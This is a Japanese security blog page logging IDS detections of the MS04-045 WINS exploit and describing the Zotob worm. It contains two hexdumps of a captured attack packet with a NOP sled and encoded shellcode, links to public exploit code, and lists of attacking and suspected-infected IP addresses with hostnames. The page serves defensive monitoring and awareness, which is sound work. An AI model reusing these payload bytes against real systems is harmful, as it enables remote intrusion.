つぶやき -33ページ目

【Proventia】WINS_PointerHijack

■シグネチャの説明

http://xforce.iss.net/xforce/xfdb/18259

■References
Microsoft Web site
Windows Internet Name Service (WINS)
http://www.microsoft.com/ntserver/techresources/commnet/WINS/WINSwp98/WINS02-12.asp

Immunicty Advisory
INSTANTANEA: Wins.exe remote vulnerability.
http://www.securitylab.ru/49736.html

Microsoft Knowledge Base Article 890710
How to help protect against a WINS security issue
http://support.microsoft.com/kb/890710

CERT Vulnerability Note VU#145134
Microsoft Windows Internet Naming Service (WINS) replication protocol contains a vulnerability
http://www.kb.cert.org/vuls/id/145134

Microsoft Security Bulletin MS04-045
Vulnerability in WINS Could Allow Remote Code Execution (870763)
http://www.microsoft.com/technet/security/bulletin/ms04-045.mspx

Packet Storm Web site
wins.c
http://packetstormsecurity.nl/0412-exploits/wins.c

Packet Storm Web site
wins_ms04_045.pm
http://packetstormsecurity.nl/0501-exploits/wins_ms04_045.pm

CVE
CVE-2004-0567
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0567

■攻撃元

202.97.151.166 China CNCGROUP-SX
218.104.74.106 China hefei-guotong-tech-corp
218.195.253.168 China XJUB-CN
218.25.163.165 China CNCGROUP-LN
218.4.49.130 China SUZHOU-CS-JIAFANG-ENTRANCE-CORP
219.134.132.93 China SHENZHEN-TELECOM-CO
221.229.242.249 China XUZHOU-GOV
222.243.12.25 China CHINANET-HN-HH
61.159.228.64 China CHINANET-YN
61.180.172.13 China CNCGROUP-HL

■検知画面

■検知状況

時間	送信IP	送信ポート	あて先IP	あて先ポート
2005-12-12 02:18:44 JST	218.4.49.130	1496	192.168.221.180	42
2005-12-12 17:05:58 JST	61.180.172.13	2748	192.168.221.180	42
2005-12-12 17:05:59 JST	61.180.172.13	2749	192.168.221.180	42
2005-12-12 17:07:08 JST	61.180.172.13	2754	192.168.221.180	42
2005-12-14 02:26:22 JST	218.25.163.165	1818	192.168.221.180	42
2005-12-14 02:31:39 JST	61.180.172.13	2749	192.168.221.180	42
2005-12-14 02:31:48 JST	61.180.172.13	2750	192.168.221.180	42
2005-12-14 02:32:58 JST	61.180.172.13	2755	192.168.221.180	42
2005-12-14 23:57:54 JST	61.159.228.64	4636	192.168.221.180	42
2005-12-16 19:23:07 JST	221.229.242.249	2532	192.168.221.180	42
2005-12-16 19:23:09 JST	221.229.242.249	2548	192.168.221.180	42
2005-12-16 19:24:54 JST	221.229.242.249	2666	192.168.221.180	42
2005-12-16 19:28:45 JST	218.104.74.106	3393	192.168.221.180	42
2005-12-16 19:28:51 JST	218.104.74.106	3418	192.168.221.180	42
2005-12-16 19:30:01 JST	218.104.74.106	3422	192.168.221.180	42
2005-12-16 20:18:34 JST	218.104.74.106	4684	192.168.221.180	42
2005-12-16 20:18:34 JST	218.104.74.106	4688	192.168.221.180	42
2005-12-16 20:20:02 JST	218.104.74.106	4665	192.168.221.180	42
2005-12-16 21:07:29 JST	218.104.74.106	3127	192.168.221.180	42
2005-12-16 21:07:35 JST	218.104.74.106	3137	192.168.221.180	42
2005-12-16 21:08:58 JST	218.104.74.106	3142	192.168.221.180	42
2005-12-16 23:49:14 JST	61.159.228.64	3431	192.168.221.180	42
2005-12-17 01:23:18 JST	218.104.74.106	4945	192.168.221.180	42
2005-12-17 01:56:51 JST	219.134.132.93	2945	192.168.221.180	42
2005-12-17 01:56:52 JST	219.134.132.93	2952	192.168.221.180	42
2005-12-17 01:57:03 JST	202.97.151.166	3545	192.168.221.180	42
2005-12-17 01:57:03 JST	202.97.151.166	3544	192.168.221.180	42
2005-12-17 01:58:05 JST	202.97.151.166	3549	192.168.221.180	42
2005-12-17 01:58:22 JST	219.134.132.93	2959	192.168.221.180	42
2005-12-17 02:35:51 JST	218.104.74.106	4023	192.168.221.180	42
2005-12-17 02:35:51 JST	218.104.74.106	4024	192.168.221.180	42
2005-12-17 02:53:22 JST	222.243.12.25	3819	192.168.221.180	42
2005-12-17 02:53:22 JST	222.243.12.25	3785	192.168.221.180	42
2005-12-17 02:54:18 JST	218.195.253.168	4814	192.168.221.180	42
2005-12-17 02:54:23 JST	218.195.253.168	4879	192.168.221.180	42
2005-12-17 02:54:44 JST	222.243.12.25	3795	192.168.221.180	42
2005-12-17 06:14:54 JST	222.243.12.25	3021	192.168.221.180	42
2005-12-17 06:15:00 JST	222.243.12.25	3042	192.168.221.180	42
2005-12-17 06:16:25 JST	222.243.12.25	3059	192.168.221.180	42

■パケット
00000000 00 00 23 f8 29 00 ff 23 05 39 1e c8 68 22 39 05 ..#.)..# .9..h"9.
00000010 68 22 39 05 68 22 39 05 68 22 39 05 68 22 39 05 h"9.h"9. h"9.h"9.
00000020 68 22 39 05 68 22 39 05 68 22 39 05 68 22 39 05 h"9.h"9. h"9.h"9.
00000030 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 |.=.|.=. |.=.|.=.
00000040 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 |.=.|.=. |.=.|.=.
00000050 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 |.=.|.=. |.=.|.=.
00000060 7c f4 3d 05 7c f4 3d 05 68 22 39 05 68 22 39 05 |.=.|.=. h"9.h"9.
00000070 68 22 39 05 68 22 39 05 68 22 39 05 68 22 39 05 h"9.h"9. h"9.h"9.
00000080 68 22 39 05 68 22 39 05 68 22 39 05 7c f4 3d 05 h"9.h"9. h"9.|.=.
00000090 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 |.=.|.=. |.=.|.=.
000000A0 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 |.=.|.=. |.=.|.=.
000000B0 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 |.=.|.=. |.=.|.=.
000000C0 7c f4 3d 05 68 22 39 05 68 22 39 05 68 22 39 05 |.=.h"9. h"9.h"9.
000000D0 68 22 39 05 68 22 39 05 68 22 39 05 68 22 39 05 h"9.h"9. h"9.h"9.
000000E0 68 22 39 05 68 22 39 05 7c f4 3d 05 7c f4 3d 05 h"9.h"9. |.=.|.=.
000000F0 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 |.=.|.=. |.=.|.=.
00000100 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 |.=.|.=. |.=.|.=.
00000110 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 |.=.|.=. |.=.|.=.
00000120 68 22 39 05 68 22 39 05 68 22 39 05 68 22 39 05 h"9.h"9. h"9.h"9.
00000130 68 22 39 05 68 22 39 05 68 22 39 05 68 22 39 05 h"9.h"9. h"9.h"9.
00000140 68 22 39 05 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 h"9.|.=. |.=.|.=.
00000150 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 |.=.|.=. |.=.|.=.
00000160 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 |.=.|.=. |.=.|.=.
00000170 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 68 22 39 05 |.=.|.=. |.=.h"9.
00000180 68 22 39 05 68 22 39 05 68 22 39 05 68 22 39 05 h"9.h"9. h"9.h"9.
00000190 68 22 39 05 68 22 39 05 68 22 39 05 68 22 39 05 h"9.h"9. h"9.h"9.
000001A0 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 |.=.|.=. |.=.|.=.
000001B0 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 |.=.|.=. |.=.|.=.
000001C0 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 |.=.|.=. |.=.|.=.
000001D0 7c f4 3d 05 7c f4 3d 05 68 22 39 05 68 22 39 05 |.=.|.=. h"9.h"9.
000001E0 68 22 39 05 68 22 39 05 68 22 39 05 68 22 39 05 h"9.h"9. h"9.h"9.
000001F0 68 22 39 05 68 22 39 05 68 22 39 05 7c f4 3d 05 h"9.h"9. h"9.|.=.
00000200 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 |.=.|.=. |.=.|.=.
00000210 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 |.=.|.=. |.=.|.=.
00000220 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 |.=.|.=. |.=.|.=.
00000230 7c f4 3d 05 68 22 39 05 68 22 39 05 68 22 39 05 |.=.h"9. h"9.h"9.
00000240 68 22 39 05 68 22 39 05 68 22 39 05 68 22 39 05 h"9.h"9. h"9.h"9.
00000250 68 22 39 05 68 22 39 05 7c f4 3d 05 7c f4 3d 05 h"9.h"9. |.=.|.=.
00000260 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 |.=.|.=. |.=.|.=.
00000270 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 |.=.|.=. |.=.|.=.
00000280 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 |.=.|.=. |.=.|.=.
00000290 68 22 39 05 68 22 39 05 68 22 39 05 68 22 39 05 h"9.h"9. h"9.h"9.
000002A0 68 22 39 05 68 22 39 05 68 22 39 05 68 22 39 05 h"9.h"9. h"9.h"9.
000002B0 68 22 39 05 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 h"9.|.=. |.=.|.=.
000002C0 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 |.=.|.=. |.=.|.=.
000002D0 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 |.=.|.=. |.=.|.=.
000002E0 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 68 22 39 05 |.=.|.=. |.=.h"9.
000002F0 68 22 39 05 68 22 39 05 68 22 39 05 68 22 39 05 h"9.h"9. h"9.h"9.
00000300 68 22 39 05 68 22 39 05 68 22 39 05 68 22 39 05 h"9.h"9. h"9.h"9.
00000310 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 |.=.|.=. |.=.|.=.
00000320 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 |.=.|.=. |.=.|.=.
00000330 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 |.=.|.=. |.=.|.=.
00000340 7c f4 3d 05 7c f4 3d 05 68 22 39 05 68 22 39 05 |.=.|.=. h"9.h"9.
00000350 68 22 39 05 68 22 39 05 68 22 39 05 68 22 39 05 h"9.h"9. h"9.h"9.
00000360 68 22 39 05 68 22 39 05 68 22 39 05 7c f4 3d 05 h"9.h"9. h"9.|.=.
00000370 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 |.=.|.=. |.=.|.=.
00000380 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 |.=.|.=. |.=.|.=.
00000390 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 |.=.|.=. |.=.|.=.
000003A0 7c f4 3d 05 90 90 90 90 90 90 90 90 90 90 90 90 |.=..... ........
000003B0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ........ ........
000003C0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ........ ........
000003D0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ........ ........
000003E0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ........ ........
000003F0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ........ ........
00000400 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ........ ........
00000410 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ........ ........
00000420 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ........ ........
00000430 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ........ ........
00000440 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ........ ........
00000450 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ........ ........
00000460 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ........ ........
00000470 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ........ ........
00000480 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 eb ........ ........
00000490 10 5b 4b 33 c9 66 b9 25 01 80 34 0b 99 e2 fa eb .[K3.f.% ..4.....
000004A0 05 e8 eb ff ff ff 70 62 99 99 99 c6 fd 38 a9 99 ......pb .....8..
000004B0 99 99 12 d9 95 12 e9 85 34 12 f1 91 12 6e f3 9d ........ 4....n..
000004C0 c0 71 02 99 99 99 7b 60 f1 aa ab 99 99 f1 ee ea .q....{` ........
000004D0 ab c6 cd 66 8f 12 71 f3 9d c0 71 1b 99 99 99 7b ...f..q. ..q....{
000004E0 60 18 75 09 98 99 99 cd f1 98 98 99 99 66 cf 89 `.u..... .....f..
000004F0 c9 c9 c9 c9 d9 c9 d9 c9 66 cf 8d 12 41 f1 47 69 ........ f...A.Gi
00000500 42 16 f1 9b 99 99 ac 12 55 f3 89 c8 ca 66 cf 81 B....... U....f..
00000510 1c 59 ec d3 f1 fa f4 fd 99 10 ff a9 1a 75 cd 14 .Y...... .....u..
00000520 a5 bd f3 8c c0 32 7b 64 5f dd bd 89 dd 67 dd bd .....2{d _....g..
00000530 a4 10 c5 bd d1 10 c5 bd d5 10 c5 bd c9 14 dd bd ........ ........
00000540 89 cd c9 c8 c8 c8 f3 98 c8 c8 66 ef a9 c8 66 cf ........ ..f...f.
00000550 9d 12 55 f3 66 66 a8 66 cf 91 ca 66 cf 85 66 cf ..U.ff.f ...f..f.
00000560 95 c8 cf 12 dc a5 12 cd b1 e1 9a 4c cb 12 eb b9 ........ ...L....
00000570 9a 6c aa 50 d0 d8 34 9a 5c aa .l.P..4. \.

---------------------------------------------------------------------------------------
00000000 00 00 23 f8 29 00 ff 23 05 39 1e c8 68 22 39 05 ..#.)..# .9..h"9.
00000010 68 22 39 05 68 22 39 05 68 22 39 05 68 22 39 05 h"9.h"9. h"9.h"9.
00000020 68 22 39 05 68 22 39 05 68 22 39 05 68 22 39 05 h"9.h"9. h"9.h"9.
00000030 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 |.=.|.=. |.=.|.=.
00000040 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 |.=.|.=. |.=.|.=.
00000050 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 |.=.|.=. |.=.|.=.
00000060 7c f4 3d 05 7c f4 3d 05 68 22 39 05 68 22 39 05 |.=.|.=. h"9.h"9.
00000070 68 22 39 05 68 22 39 05 68 22 39 05 68 22 39 05 h"9.h"9. h"9.h"9.
00000080 68 22 39 05 68 22 39 05 68 22 39 05 7c f4 3d 05 h"9.h"9. h"9.|.=.
00000090 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 |.=.|.=. |.=.|.=.
000000A0 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 |.=.|.=. |.=.|.=.
000000B0 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 |.=.|.=. |.=.|.=.
000000C0 7c f4 3d 05 68 22 39 05 68 22 39 05 68 22 39 05 |.=.h"9. h"9.h"9.
000000D0 68 22 39 05 68 22 39 05 68 22 39 05 68 22 39 05 h"9.h"9. h"9.h"9.
000000E0 68 22 39 05 68 22 39 05 7c f4 3d 05 7c f4 3d 05 h"9.h"9. |.=.|.=.
000000F0 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 |.=.|.=. |.=.|.=.
00000100 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 |.=.|.=. |.=.|.=.
00000110 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 |.=.|.=. |.=.|.=.
00000120 68 22 39 05 68 22 39 05 68 22 39 05 68 22 39 05 h"9.h"9. h"9.h"9.
00000130 68 22 39 05 68 22 39 05 68 22 39 05 68 22 39 05 h"9.h"9. h"9.h"9.
00000140 68 22 39 05 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 h"9.|.=. |.=.|.=.
00000150 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 |.=.|.=. |.=.|.=.
00000160 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 |.=.|.=. |.=.|.=.
00000170 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 68 22 39 05 |.=.|.=. |.=.h"9.
00000180 68 22 39 05 68 22 39 05 68 22 39 05 68 22 39 05 h"9.h"9. h"9.h"9.
00000190 68 22 39 05 68 22 39 05 68 22 39 05 68 22 39 05 h"9.h"9. h"9.h"9.
000001A0 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 |.=.|.=. |.=.|.=.
000001B0 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 |.=.|.=. |.=.|.=.
000001C0 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 |.=.|.=. |.=.|.=.
000001D0 7c f4 3d 05 7c f4 3d 05 68 22 39 05 68 22 39 05 |.=.|.=. h"9.h"9.
000001E0 68 22 39 05 68 22 39 05 68 22 39 05 68 22 39 05 h"9.h"9. h"9.h"9.
000001F0 68 22 39 05 68 22 39 05 68 22 39 05 7c f4 3d 05 h"9.h"9. h"9.|.=.
00000200 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 |.=.|.=. |.=.|.=.
00000210 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 |.=.|.=. |.=.|.=.
00000220 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 |.=.|.=. |.=.|.=.
00000230 7c f4 3d 05 68 22 39 05 68 22 39 05 68 22 39 05 |.=.h"9. h"9.h"9.
00000240 68 22 39 05 68 22 39 05 68 22 39 05 68 22 39 05 h"9.h"9. h"9.h"9.
00000250 68 22 39 05 68 22 39 05 7c f4 3d 05 7c f4 3d 05 h"9.h"9. |.=.|.=.
00000260 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 |.=.|.=. |.=.|.=.
00000270 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 |.=.|.=. |.=.|.=.
00000280 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 |.=.|.=. |.=.|.=.
00000290 68 22 39 05 68 22 39 05 68 22 39 05 68 22 39 05 h"9.h"9. h"9.h"9.
000002A0 68 22 39 05 68 22 39 05 68 22 39 05 68 22 39 05 h"9.h"9. h"9.h"9.
000002B0 68 22 39 05 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 h"9.|.=. |.=.|.=.
000002C0 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 |.=.|.=. |.=.|.=.
000002D0 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 |.=.|.=. |.=.|.=.
000002E0 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 68 22 39 05 |.=.|.=. |.=.h"9.
000002F0 68 22 39 05 68 22 39 05 68 22 39 05 68 22 39 05 h"9.h"9. h"9.h"9.
00000300 68 22 39 05 68 22 39 05 68 22 39 05 68 22 39 05 h"9.h"9. h"9.h"9.
00000310 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 |.=.|.=. |.=.|.=.
00000320 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 |.=.|.=. |.=.|.=.
00000330 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 |.=.|.=. |.=.|.=.
00000340 7c f4 3d 05 7c f4 3d 05 68 22 39 05 68 22 39 05 |.=.|.=. h"9.h"9.
00000350 68 22 39 05 68 22 39 05 68 22 39 05 68 22 39 05 h"9.h"9. h"9.h"9.
00000360 68 22 39 05 68 22 39 05 68 22 39 05 7c f4 3d 05 h"9.h"9. h"9.|.=.
00000370 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 |.=.|.=. |.=.|.=.
00000380 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 |.=.|.=. |.=.|.=.
00000390 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 7c f4 3d 05 |.=.|.=. |.=.|.=.
000003A0 7c f4 3d 05 90 90 90 90 90 90 90 90 90 90 90 90 |.=..... ........
000003B0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ........ ........
000003C0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ........ ........
000003D0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ........ ........
000003E0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ........ ........
000003F0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ........ ........
00000400 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ........ ........
00000410 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ........ ........
00000420 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ........ ........
00000430 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ........ ........
00000440 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ........ ........
00000450 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ........ ........
00000460 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ........ ........
00000470 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ........ ........
00000480 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 eb ........ ........
00000490 10 5b 4b 33 c9 66 b9 25 01 80 34 0b 99 e2 fa eb .[K3.f.% ..4.....
000004A0 05 e8 eb ff ff ff 70 62 99 99 99 c6 fd 38 a9 99 ......pb .....8..
000004B0 99 99 12 d9 95 12 e9 85 34 12 f1 91 12 6e f3 9d ........ 4....n..
000004C0 c0 71 02 99 99 99 7b 60 f1 aa ab 99 99 f1 ee ea .q....{` ........
000004D0 ab c6 cd 66 8f 12 71 f3 9d c0 71 1b 99 99 99 7b ...f..q. ..q....{
000004E0 60 18 75 09 98 99 99 cd f1 98 98 99 99 66 cf 89 `.u..... .....f..
000004F0 c9 c9 c9 c9 d9 c9 d9 c9 66 cf 8d 12 41 f1 47 69 ........ f...A.Gi
00000500 42 16 f1 9b 99 99 ac 12 55 f3 89 c8 ca 66 cf 81 B....... U....f..
00000510 1c 59 ec d3 f1 fa f4 fd 99 10 ff a9 1a 75 cd 14 .Y...... .....u..
00000520 a5 bd f3 8c c0 32 7b 64 5f dd bd 89 dd 67 dd bd .....2{d _....g..
00000530 a4 10 c5 bd d1 10 c5 bd d5 10 c5 bd c9 14 dd bd ........ ........
00000540 89 cd c9 c8 c8 c8 f3 98 c8 c8 66 ef a9 c8 66 cf ........ ..f...f.
00000550 9d 12 55 f3 66 66 a8 66 cf 91 ca 66 cf 85 66 cf ..U.ff.f ...f..f.
00000560 95 c8 cf 12 dc a5 12 cd b1 e1 9a 4c cb 12 eb b9 ........ ...L....
00000570 9a 6c aa 50 d0 d8 34 9a 5c aa .l.P..4. \.

【サイバー犯罪事件簿】2005年12月16日

----------------------------
■不正なアクセス(日本を送信元とした攻撃)
----------------------------

自分の管理するグローバルIPアドレスが以下のリストに含まれている場合は、ウィルスまたはボットワームに感染している恐れが高いです。至急ウィルススキャンを実行される事を推奨します。

60.35.233.254 i60-35-233-254.s02.a043.ap.plala.or.jp
202.216.55.109 flets-a-west-8-109.dsn.jp
218.42.105.245 FLA1Aab245.hrs.mesh.ad.jp
218.43.146.81 p1081-ipad02matuyama.ehime.ocn.ne.jp
218.43.158.39 p4039-ipad02yamaguchi.yamaguchi.ocn.ne.jp
218.43.180.104 p3104-ipad02obiyama.kumamoto.ocn.ne.jp
218.43.223.70 p6070-ipad01matuyama.ehime.ocn.ne.jp
218.44.19.240 i218-44-19-240.s02.a016.ap.plala.or.jp
218.44.112.213 i218-44-112-213.s02.a047.ap.plala.or.jp
218.44.121.206 i218-44-121-206.s02.a001.ap.plala.or.jp
218.44.126.252 i218-44-126-252.s02.a034.ap.plala.or.jp
218.45.6.184 f438.nnc.or.jp
218.45.21.22 www.sopia-system.com
218.45.51.90 fla01-090.wind.ne.jp
218.45.54.8 fla03-008.wind.ne.jp
218.45.89.25 218.45.89.25.eo.eaccess.ne.jp
218.45.103.24 bflets-fm-osk-1-24.dsn.jp
218.45.103.90 bflets-fm-osk-1-90.dsn.jp
218.45.103.169 bflets-fm-osk-1-169.dsn.jp
218.45.104.221 flets-a-west-9-221.dsn.jp
218.45.105.46 flets-a-west-10-46.dsn.jp
218.45.105.49 flets-a-west-10-49.dsn.jp
218.45.106.61 flets-a-west-11-61.dsn.jp
218.45.110.184 flets-a-west-15-184.dsn.jp
218.45.164.116 k164116.ppp.asahi-net.or.jp
218.45.164.175 k164175.ppp.asahi-net.or.jp
218.45.168.10 k168010.ppp.asahi-net.or.jp
218.45.169.119 k169119.ppp.asahi-net.or.jp
218.45.174.199 k174199.ppp.asahi-net.or.jp
218.45.186.141 k186141.ppp.asahi-net.or.jp
218.219.175.38 fbfmj-218-219-175-038.pool.mitene.or.jp
218.224.57.124 p4124-ipad04kobeminato.hyogo.ocn.ne.jp
218.226.240.123 nkno112123.catv.ppp.infoweb.ne.jp
218.226.247.200 nkno119200.catv.ppp.infoweb.ne.jp
218.229.22.240 nthygo031240.hygo.nt.adsl.ppp.infoweb.ne.jp
218.229.49.11 nthkid033011.hkid.nt.adsl.ppp.infoweb.ne.jp
218.230.198.30 p6030-ipad02motosinmat.mie.ocn.ne.jp
221.184.230.183 p1183-ipbf305osakakita.osaka.ocn.ne.jp

【情報】Zotobワームによる感染事例

--------------------------------------------------------------------------
■ニュース
--------------------------------------------------------------------------

Mytobなど20種類以上のウイルスにもZotob作成容疑者の署名が
http://internet.watch.impress.co.jp/cda/news/2005/08/30/8958.html

Zotobと同様のWindowsの脆弱性を悪用するエクスプロイトコードが登場
http://japan.cnet.com/news/sec/story/0,2000050480,20089437,00.htm

「Zotob」作成の容疑者が発生からわずか2週間足らずで逮捕に
http://internet.watch.impress.co.jp/cda/news/2005/08/29/8933.html

--------------------------------------------------------------------------
■ベンダー
--------------------------------------------------------------------------

Symantec Security Response - W32.Zotob.A

http://www.symantec.com/region/jp/avcenter/venc/data/jp-w32.zotob.a.html

トレンドマイクロ WORM_ZOTOB.A - 概要
http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=WORM_ZOTOB.A

日本F-Secure株式会社 : ウィルス情報 Zotob.A

http://www.f-secure.co.jp/v-descs/v-descs3/zotoba.htm

--------------------------------------------------------------------------
■Zotobワームとは？
--------------------------------------------------------------------------
＜ワーム活動（セキュリティホール利用）＞
ワームはWindowsの「プラグアンドプレイの脆弱性」と呼ばれるセキュリティホールを利用して

ワーム活動を行います。「プラグアンドプレイの脆弱性により、リモートでコードが実行され、

特権の昇格が行なわれる (899588) (MS05-039)」ワームは、300のスレッドを作成し、各スレ

ッドで攻撃のためのランダムなIPアドレスが作成されます。IPアドレス作成のため、ワームは感

染コンピュータのクラスBネットワークアドレスを取得し、最後から２つのオクテットにランダムな

値を割り当てます。（例：感染コンピュータのIPアドレスが192.168.231.128の場合、ワームは

192.168.x.xの "x" の部分にランダムな８－ビットの数字を割り当てます。）ワームは、ランダム

なIPアドレスを作成すると、ポート445(Microsoft-DS)が開いているコンピュータを検索します。

ポート445が開いているコンピュータを見つけると、ワームは、セキュリティホールを攻撃してリ

モートシェルの実行を試みます。
セキュリティホールの攻撃に失敗もしくはポート445が開いていない場合、ワームは他のIPアド

レスを作成し、セキュリティホールを持つコンピュータを検索します。
ワームは感染コンピュータからTFTPの機能を利用したワーム本体のダウロードを行う。

＜バックドア活動＞
このワームはバックドアの機能も備えています。ワームはポート8080番を開き、IRCサーバに

参加します。このIRCチャンネルを介して、不正リモートユーザはコマンドを実行することが可能

となります。それにより不正リモートユーザは下記の動作が可能です。

プロセスの終了
DoS(Denial of Service : サービス拒否)攻撃
特定のIRCサーバに接続
インターネットからファイルのダウンロード
特定のWebサイトを訪問
自身のコピーのアンインストール
システム情報の収集（ CPU速度、メモリ容量）
自身のアップデートファイルのダウンロード
セキュリティーホールを持つコンピュータのポート8888番を介してリモートコマンドシェルを作成

--------------------------------------------------------------------------
■攻撃：MS05-039の脆弱性を利用した攻撃
--------------------------------------------------------------------------

09/27-03:30:27.012979 0:D0:C9:96:61:5D -> 0:C:29:D4:ED:B6 type:0x800 len:0xDE
***.***.208.83:2615 -> 192.168.37.150:445 TCP TTL:114 TOS:0x0 ID:20318 IpLen:20 DgmLen:208 DF
***AP*** Seq: 0x1D554AE6 Ack: 0xA7BEC001 Win: 0x41EF TcpLen: 20
00 00 00 A4 FF 53 4D 42 73 00 00 00 00 18 07 C8 .....SMBs.......
00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FE ................
00 00 10 00 0C FF 00 A4 00 04 11 0A 00 00 00 00 ................
00 00 00 20 00 00 00 00 00 D4 00 00 80 69 00 4E ... .........i.N
54 4C 4D 53 53 50 00 01 00 00 00 97 82 08 E0 00 TLMSSP..........
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
57 00 69 00 6E 00 64 00 6F 00 77 00 73 00 20 00 W.i.n.d.o.w.s. .
